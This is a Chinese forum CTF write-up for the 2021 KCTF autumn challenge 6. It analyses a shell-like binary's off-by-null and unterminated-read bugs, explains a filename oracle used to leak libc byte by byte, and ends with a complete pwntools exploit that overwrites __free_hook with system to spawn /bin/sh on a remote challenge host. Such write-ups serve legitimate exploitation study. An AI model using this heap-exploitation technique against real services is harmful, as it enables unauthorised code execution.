首页
论坛
课程
招聘
[原创]2021KCTF秋季赛 ch6 窥伺者谁
2021-11-30 09:28 11512

[原创]2021KCTF秋季赛 ch6 窥伺者谁

2021-11-30 09:28
11512

题目是一个类似像shell一样的程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
void run()
{
  size_t v0; // rax
  size_t v1; // rax
 
  write(1, "\n", 1uLL);
  v0 = strlen(username);
  write(1, username, v0);
  write(1, "@", 1uLL);
  v1 = strlen(hostname);
  write(1, hostname, v1);
  write(1, ":", 1uLL);
  pwd();
  write(1, "$ ", 2uLL);
  if ( !(unsigned int)read_n(sysbuf, 0x20u) )
    error();
  if ( !strcmp(sysbuf, "pwd") )
  {
    pwd();
  }
  else if ( !strcmp(sysbuf, "ls") )
  {
    ls();
  }
  else if ( !strcmp(sysbuf, "mkdir") )
  {
    mkdir_handler();
  }
  else if ( !strcmp(sysbuf, "cd") )
  {
    cd();
  }
  else if ( !strcmp(sysbuf, "cat") )
  {
    cat();
  }
  else if ( !strcmp(sysbuf, "touch") )
  {
    touch();
  }
  else
  {
    if ( !strcmp(sysbuf, "exit") )
      error();
    if ( !strcmp(sysbuf, "rm") )
    {
      rm();
    }
    else if ( !strcmp(sysbuf, "echo") )
    {
      echo();
    }
    else
    {
      write(1, "unknow command\n", 0xFuLL);
    }
  }
}

其中所有用户输入都用到了sysbuf这个buffer。

 

而仔细观察输入函数会发现,当长度正好等于max_length时,输入不会被\x00截断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall read_n(char *a1, unsigned int max_len)
{
  unsigned int ans_size; // [rsp+14h] [rbp-Ch]
  unsigned int i; // [rsp+18h] [rbp-8h]
  int tmp_read_size; // [rsp+1Ch] [rbp-4h]
 
  ans_size = 0;
  for ( i = 0; i < max_len; ++i )
  {
    tmp_read_size = read(0, &a1[i], 1uLL);
    ans_size += tmp_read_size;
    if ( tmp_read_size != 1 || a1[ans_size - 1] == '\n' )
      break;
  }
  if ( !ans_size )
    exit(-1);
  if ( a1[ans_size - 1] == '\n' )               // may not zero end
    a1[--ans_size] = 0;
  return ans_size;
}

echo函数中存在如下一处输入,最长能输入0x5000:

1
2
3
4
write(1, "arg> ", 5uLL);
buf_size = read_n(sysbuf, 0x5000u);           // set sysbuf
if ( !buf_size )
  error();

借助\x00可以不截断的bug,就能让每次使用sysbuf时都拥有至多0x5000的长度。

 

func_mkdir中存在如下一个bug:
如果此处的dir_name长度大于0x20,虽然strncpy没有问题,但后面零截断时使用的offset为strlen(dir_name),能够让攻击者在buffer指定偏移处写一个0字节。

1
2
3
strncpy(new_node->dir_name, dir_name, 0x20uLL);
v3 = new_node->dir_name;
v3[strlen(dir_name)] = 0;                   // VULN: overflow zero

一开始想着去修改dir_name的lsb,然后leak一些指针,但在pwd,ls等函数中都存在check函数,导致失败。

 

这里我的做法是通过堆排布,去修改其他file1的content指针的lsb,然后借助file1能够修改file2的content_length,之后修改file1的name指针到堆上的libc指针。

 

echo中存在这样一处逻辑:

1
2
3
4
5
node = get_node(buff);
if ( node && node->is_file == 1 )
  write_to_file(node, sysbuf, buf_size);
else
  write(1, "invalid path\n", 0xDuLL);

攻击者可以无限次调用这段逻辑,通过回显判断一个文件名是否存在。

 

假设0x556d8e4b6e80处存在一个libc指针,我们可以先修改name的lsb为0x85,通过上述echo的逻辑爆破得到0x7f;再修改name的lsb为0x84,爆破得到0x7f19;由此往复得到完整指针。

1
2
3
4
5
6
pwndbg> hex 0x556d8e4b6e80 8
+0000 0x556d8e4b6e80  20 b1 e3 63  19 7f 00 00
pwndbg> hex 0x556d8e4b6e80+5 8
+0000 0x556d8e4b6e85  7f 00 00 20  b1 e3 63 19
pwndbg> hex 0x556d8e4b6e80+4 8
+0000 0x556d8e4b6e84  19 7f 00 00  20 b1 e3 63

最后修改content指针到libc的freehook改为system getshell。

 

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#!/usr/bin/env python3
#coding=utf8
import re
import inspect
import sys
import os
import subprocess as sp
from pwn import *
 
context.log_level = 'debug'
 
local = 1
 
if len(sys.argv) > 1:
    local = 0
 
if local:
    cn = process('./chall')
    pass
else:
    cn = remote('101.35.172.231',10000)
    pass
 
def tobytes(x): return x.encode('latin1') if isinstance(x, str) else x
def sd(x): return cn.send(tobytes(x))
def sl(x): return cn.sendline(tobytes(x))
def sa(a, b): return cn.sendafter(tobytes(a), tobytes(b))
def sla(a, b): return cn.sendlineafter(tobytes(a), tobytes(b))
def rv(x=0x1000): return cn.recv(x)
def rl(): return cn.recvline()
def ru(x): return cn.recvuntil(tobytes(x))
def raddr(): return u64(cn.recvuntil(b'\n')[:-1].ljust(8, b'\x00'))
def raddrn(x): return u64(rv(x).ljust(8, b'\x00'))
def interact(): return cn.interactive()
def ss(s): return success(s)
 
def logsym(val):
    for line in inspect.getframeinfo(inspect.currentframe().f_back)[3]:
        m = re.search(r'\blogsym\s*\(\s*([A-Za-z_][A-Za-z0-9_]*)\s*\)', line)
    if m:
        varname = m.group(1)
        ss(f"{varname} => {hex(val)}")
    else:
        ss(hex(val))
 
############################################
 
context.arch='amd64'
 
def touch(filename):
    sla('$','touch')
    sla('>',filename)
 
def evil_touch(filename):
    sla('$','touch')
    sa('>',filename)
 
def echo_to_file(filename,content):
    sla('$','echo')
    sla('>',content)
    sla('>','y')
    sla('>',filename)
 
def echo(content):
    sla('$','echo')
    sla('>',content)
    sla('>','n')
 
def mkdir(dirname):
    sla('$','mkdir')
    sla('>',dirname)
 
def rm(filename):
    sla('$','rm')
    sla('>',filename)
 
def cd(path):
    sla('$','cd')
    sla('>',path)
 
def ls(path):
    sla('$','ls')
    sla('>',path)
 
cd('tmp')
 
# dir 0
mkdir(f'd_0')
cd(f'd_0')
touch(f"f_0")
echo_to_file(f"f_0",'A'*0x20)
touch(f"f_1")
echo_to_file(f"f_1",'B'*0x40)
cd('..')
 
# dir 1
mkdir(f'd_1')
cd(f'd_1')
for i in range(0x10):
    touch(f"ff_{i}")
    echo_to_file(f"ff_{i}",'C'*0x10)
cd('..')
 
# out of tmp
cd('..')
 
echo_to_file(f"tmp/d_0/f_1",'\x00'*0x480)
echo_to_file(f"tmp/d_0/f_0",'A'*0x40)
echo('X'*0xc8) # evil offset, edit tmp/d_0/f_1->content lsb
 
cd('tmp/d_0')
evil_touch('X'*0x20) # trigger bof
cd('../..')
 
# edit tmp/d_1/ff_15 content size to 0xffffffff
echo_to_file(f"tmp/d_0/f_1",p64(0xffffffff))
 
padding=flat(
    'X'*0x10,
    0,0x491,
    'Q'*0x480,
    0,0xb1,
    '\x00'*0xa0,
)
 
touch('NNNN')
echo_to_file(f"NNNN",'\x00'*0x640)
touch('MMMM') # before top-thunk
 
echo_to_file(f"NNNN",'\x00'*0x700)
 
def crack_libc_ptr():
    def crack_byte():
        for ch in reversed(range(0x100)):
            if ch == 10:
                continue
            pay=flat(
                p8(ch)+ans[::-1]
            )
            echo_to_file(pay,'Q')
            d = ru('ch3cke')
            if b'invalid' not in d:
                return ch
        raise Exception("crack byte failed")
 
    length=5
    ans=bytearray([0x7f])
 
    for i in reversed(range(1,length)):
        pay = flat(
            padding,
            0,0xb1,
            p64(1),
            '\x00'*0x88,
            p8(0x80+i),
        )
        echo_to_file(f"tmp/d_1/ff_15",pay)
        ch = crack_byte()
        ans.append(ch)
 
    ans.append(0x20) # lsb
 
    return u64(ans[::-1].ljust(8,b'\x00'))
 
libc_ptr = crack_libc_ptr()
logsym(libc_ptr)
lbase=libc_ptr-0x3ec120
logsym(lbase)
 
sh = lbase+0x1b3e9f
freehook=lbase+0x3ed8e8
system=lbase+0x4f440
 
# edit freehook to system
pay = flat(
    padding,
    0,0xb1,
    p64(1),
    '\x00'*0x88,
    p64(sh),
    p64(freehook)
)
echo_to_file(f"tmp/d_1/ff_15",pay)
echo_to_file('sh',p64(system))
 
# call freehook("/bin/sh")
echo_to_file(f"tmp/d_1/ff_15","/bin/sh\x00")
rm(f"tmp/d_1/ff_15")
 
interact()

【公告】 讲师招募 | 全新“预付费”模式,不想来试试吗?

最后于 2021-11-30 09:30 被hxzene编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回